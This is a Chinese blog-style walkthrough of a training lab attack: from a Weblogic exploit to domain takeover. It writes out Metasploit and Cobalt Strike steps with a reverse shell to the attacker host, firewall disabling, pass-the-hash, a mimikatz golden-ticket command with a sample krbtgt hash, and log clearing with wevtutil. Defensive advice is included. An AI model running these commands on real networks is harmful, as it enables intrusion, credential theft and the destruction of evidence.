1. 靶场环境与攻击路径总览
大家好,我是老张,在安全圈摸爬滚打十来年,今天想和大家聊聊一次非常经典的内网渗透实战。咱们就拿“红日靶场”这个在圈内非常出名的训练环境来当例子,从头到尾走一遍攻击者的视角。很多新手朋友一听到“内网渗透”、“域控”、“黄金票据”这些词就头大,觉得门槛太高。其实不然,只要你把思路理清,工具用熟,整个过程就像玩一个策略闯关游戏,一环扣一环,非常有逻辑性。这次咱们的目标很明确:从一个暴露在外网的Weblogic服务器入手,一步步摸进内网,最终拿到整个域的控制权。我会把每一步的操作、踩过的坑以及背后的原理,用最直白的话讲清楚,保证你看完就能上手复现。
我们先来盘一盘靶场的“家底”。红日靶场通常模拟一个典型的企业内网环境,里面至少有三台关键的机器。第一台是外网Web服务器,它通常运行着存在漏洞的Weblogic中间件,IP地址是192.168.2.80,这就是咱们的“敲门砖”。第二台是内网办公主机,IP是192.168.2.201,它和Web服务器在一个内网段,但不出现在外网。第三台,也是最终目标,是域控制器,它藏在更深一层的内网,比如10.10.10.10。攻击者(也就是我们)的Kali攻击机在192.168.2.129。整个攻击链条可以概括为:外网突破 -> 内网立足 -> 横向移动 -> 域控提权 -> 权限维持。听起来步骤不少,但别急,咱们一步一步来拆解。
在开始之前,我必须强调,所有操作都必须在授权的靶场或实验环境中进行。学习渗透技术是为了更好地理解攻击原理,从而构建更坚固的防御体系,切记不可用于任何非法测试。好了,废话不多说,咱们开机,准备干活。
2. 外网突破:Weblogic漏洞的利用与初始访问
攻击的第一步,永远是信息收集。这就好比小偷踩点,得先知道目标小区有几个门,哪个窗户没关严实。我们拿到靶场IP段192.168.2.0/24,先用最基础的nmap -sn命令扫一下,看看哪些机器是“活”的。结果很快出来,192.168.2.80和192.168.2.201两台机器有回应。80这台开了Web服务,自然成了首要目标。
接下来就是端口和服务扫描。这里我习惯用一个叫fscan的国产神器,它把很多功能打包在一起,用起来特别顺手。执行./fscan -h 192.168.2.80,一份详细的“体检报告”就出来了。报告里会醒目地标出两个关键漏洞:MS17-010(永恒之蓝)和Weblogic反序列化漏洞(CVE-2019-2725)。永恒之蓝大名鼎鼎,但在这个靶场里,它往往被防火墙或者杀软(比如360)给拦住了,直接打成功率不高。所以,我们的主攻方向就落在了Weblogic的CVE-2019-2725上。
这个漏洞的原理,简单说就是Weblogic在处理XML数据时没做好检查,攻击者可以构造一段恶意的XML代码,让服务器在执行时,顺带把我们想要的命令也给执行了。在Metasploit(MSF)框架里,已经有现成的攻击模块。打开MSF,搜索cve-2019-2725,选择对应的利用模块。这里有个小细节,set rhosts设置目标IP为192.168.2.80,set lhost设置我们Kali机的IP192.168.2.129,然后run。如果一切顺利,你会看到一个熟悉的meterpreter>提示符弹出来,这意味着我们已经成功在Web服务器上获得了第一个立足点。
第一次拿到shell的感觉总是很兴奋,但别急着庆祝。先看看自己是谁,输入getuid,返回的可能是WEB\de1ay这样的普通用户。权限不高,很多事干不了。所以紧接着要做两件事:提权和持久化。在MSF里,可以尝试用run post/windows/manage/migrate自动迁移到一个更稳定、权限更高的系统进程里。然后,为了后续操作方便,通常要关掉靶机的防火墙(netsh advfirewall set allprofiles state off)并开启远程桌面服务(run post/windows/manage/enable_rdp)。做完这些,这个“前沿阵地”才算初步稳固。
2.1 内网信息收集:发现新大陆
站稳脚跟后,我们就要开始探索内网了。第一个命令永远是ipconfig /all。仔细看输出,你会发现除了外网IP192.168.2.80,网卡上还有一个10.10.10.80的地址。这就是关键信号!说明这台服务器连接着另一个内网网段(10.10.10.0/24),我们的域控目标很可能就藏在这个网段里。
光知道IP段还不够,我们得知道这个网络里有什么。这时候,meterpreter的run post/multi/gather/internal_hosts模块或者直接上传fscan到靶机上,对内网10.10.10.0/24进行扫描,都是不错的选择。很快,我们就能发现新的存活主机:10.10.10.201(内网PC)和10.10.10.10(域控制器)。目标越来越清晰了。
此外,还要收集系统信息(sysinfo)、查看当前用户和组(net user,net localgroup administrators)、检查是否有域环境(net config workstation)。如果看到“工作站域”是DE1AY之类的,而不是工作组,那就确认了域环境的存在。这些零散的信息,都是后续行动的宝贵情报。
3. 横向移动:突破边界,向内网纵深
现在,我们身处192.168.2.80这台“跳板机”,眼睛已经看到了内网10.10.10.0/24里的机器,但手还伸不过去。因为跳板机可能没有直接访问内网所有服务的权限,或者我们需要一个更隐蔽、功能更强大的后门。这时,Cobalt Strike(CS)就该上场了。CS和MSF联动,是内网渗透的经典组合拳。MSF擅长漏洞利用和初始突破,而CS在后期横向移动、权限维持和团队协作上更胜一筹。
首先,在Kali上启动CS服务端(./teamserver),然后客户端连接。创建一个HTTP或HTTPS的监听器,指向我们的攻击机IP和端口。接着,在MSF的meterpreter会话里,使用upload命令将CS生成的后门程序(一个.exe文件)上传到Web服务器上,并执行它。很快,在CS的界面上,你就会看到一台主机“上线”了,图标是一个小电脑。这意味着我们通过CS,重新建立了一个对Web服务器的、更稳定的控制通道。
有了CS这个强大的“指挥中心”,对内网10.10.10.201(那台内网PC)的横向移动就方便多了。在CS里,右键点击已上线的Web服务器会话,选择“横向移动”->“psexec”。这里需要填入我们在信息收集中可能抓取到的凭据。比如,我们之前用hashdump或mimikatz(通过CS的logonpasswords模块)抓取到了WEB\de1ay用户的密码哈希(NTLM Hash)。在psexec的配置中,选择“使用哈希传递”,填入目标IP10.10.10.201、用户名de1ay和对应的哈希值,再选择一个监听器,点击执行。
哈希传递攻击是内网横向的利器,它不需要知道明文密码,只要有了用户的NTLM Hash,就能验证身份。如果de1ay这个用户在10.10.10.201上也有登录权限(在内网中,同一域用户在多台机器上有权限很常见),那么攻击就会成功。几秒钟后,CS里就会上线第二台主机——内网PC。至此,我们成功从外网Web服务器,横向移动到了内网普通办公主机,攻击纵深又推进了一步。
3.1 域内信息收集与定位域控
拿下一台内网机器后,信息收集的维度要立刻转向“域”。因为我们的终极目标是域控制器。在CS的beacon命令行里,可以执行一系列域查询命令:
shell net time /domain:这个命令会告诉我们域控制器的名字,是定位域控最快捷的方法之一。shell net group "domain admins" /domain:查看域管理员组有哪些成员,通常就是Administrator。shell net group "domain controllers" /domain:直接列出所有的域控制器。shell nltest /dclist:de1ay.com:另一种查询域控的方式。
通过这些命令,我们很快就能确认:域名为de1ay.com,域控制器的主机名是DC,IP就是10.10.10.10,域管理员是Administrator。目标完全锁定!
4. 权限提升与维持:制作黄金票据
终于到了攻坚阶段:攻击域控。直接正面爆破或打漏洞可能比较困难,但如果我们能“变成”域管理员,一切就简单了。这就是黄金票据攻击的可怕之处。它允许我们伪造一个属于域内任意用户(尤其是域管理员)的Kerberos票据,从而直接访问域内的任何服务,包括域控制器。
要制作黄金票据,需要三样关键“原料”:
- 域的SID(安全标识符):也就是域的唯一身份证。可以通过命令
shell whoami /user或者shell wmic useraccount get name,sid来获取,格式类似S-1-5-21-3912242732-2617380311-625264380。 - krbtgt用户的NTLM Hash:这是整个Kerberos认证体系的“主密钥”。这个哈希值只能从域控制器上获取。这正是为什么我们必须先通过横向移动拿到一台域内主机(比如
10.10.10.201),然后尝试提权,最终在域控上抓取哈希。 - 要伪造的用户名:通常就是
Administrator。 - 域名:
de1ay.com。
假设我们已经通过某种方式(例如,利用内网PC上的本地管理员权限,通过psexec或wmiexec横向到域控,并抓取内存密码)成功获取了域控上krbtgt的哈希,例如161cff084477fe596a5db81874498a24。
接下来,在CS或MSF中,我们可以使用mimikatz来生成黄金票据。在CS的beacon中,输入:
mimikatz kerberos::golden /admin:Administrator /domain:de1ay.com /sid:S-1-5-21-... /krbtgt:161cff084477fe596a5db81874498a24 /ptt这个命令中,/ptt参数表示“传递票据”,它会把生成的黄金票据直接注入到当前的内存会话中。执行成功后,神奇的事情发生了:我们当前在10.10.10.201这台普通域成员机上的会话,瞬间拥有了域管理员Administrator的权限。
现在,我们可以直接用dir \\dc.de1ay.com\c$这样的命令,成功访问域控制器的C盘。也可以在CS里,直接通过“横向移动”->“psexec”,使用当前注入的票据,向域控10.10.10.10发起连接,轻松获取一个域控的system权限会话。至此,整个域的最高控制权,已经在我们手中。
4.1 黄金票据的原理与防御思考
为什么黄金票据这么厉害?这里简单打个比方。Kerberos协议好比一个高级俱乐部的认证系统。krbtgt的哈希就是制作俱乐部“万能金卡”的模具。正常情况下,用户(客户端)需要先向认证中心(AS)证明自己(用密码),换取一张“入场券”(TGT),再用这张入场券去换访问具体服务(如文件服务器)的“门票”(ST)。而黄金票据,相当于攻击者直接偷走了“模具”,自己伪造了一张以域管理员为名的“万能金卡”,绕过所有前台检查,直接享受所有服务。
从防御角度看,保护krbtgt账户的哈希是重中之重。微软推荐定期(比如每半年或一年)更改krbtgt账户的密码两次(因为Kerberos协议的特性,需要改两次才能完全生效),这样即使旧的哈希被窃取,其生成的黄金票据也会很快失效。同时,启用Windows Defender Credential Guard等安全功能,可以有效防止内存中凭据的抓取。对于蓝队来说,监控域内异常的金票使用行为(例如,一个从未在域控上交互过的计算机账户突然请求高权限服务票据),也是发现此类攻击的关键。
5. 痕迹清理与总结反思
拿到最高权限,做完该做的事(当然,在靶场里我们只是验证权限),最后一步就是清理痕迹,模拟一个专业的攻击者撤离现场。痕迹清理主要针对操作系统日志。在CS中,有现成的logclear插件可以一键清理。如果手动操作,可以通过beacon执行如下命令:
shell wevtutil cl system shell wevtutil cl security shell wevtutil cl application这些命令分别清空系统日志、安全日志和应用程序日志。更谨慎的做法,还会清理PowerShell日志、防火墙日志等。不过,在真实的对抗中,过于干净的日志本身也是一种异常行为,有经验的管理员可能会察觉。
回顾整个流程,我们从外网一个具体的Weblogic漏洞切入,利用公开的EXP获得初始shell。通过基础的信息收集发现内网段,并利用MSF与CS的联动,建立起稳定的控制。接着,通过哈希传递在内网横向移动,拿下一台域成员机。以此为基础,进行深入的域信息收集,定位域控和关键账户。最后,在获取krbtgt哈希后,制作黄金票据,一举拿下域控制器。整个过程工具链清晰(Nmap, MSF, CS, Mimikatz),思路连贯,完美诠释了“攻击链”的概念。
对于防守方而言,这个案例的启示是多层次的:外网暴露的服务要及时打补丁(如Weblogic漏洞);内网要实行严格的网络分段和访问控制,防止一台机器失陷导致全网沦陷;对域管理员和krbtgt这类关键账户的凭据要重点保护;开启全面的日志审计并安排人员定期分析异常行为。安全本质上是一场攻防双方的博弈,只有真正理解攻击者的手法,才能构建出更有针对性的防御体系。这次在红日靶场的旅程就到这儿,希望这份详细的复盘能帮你捋清内网渗透的脉络,在实际工作中,无论是攻是防,都能多一份从容。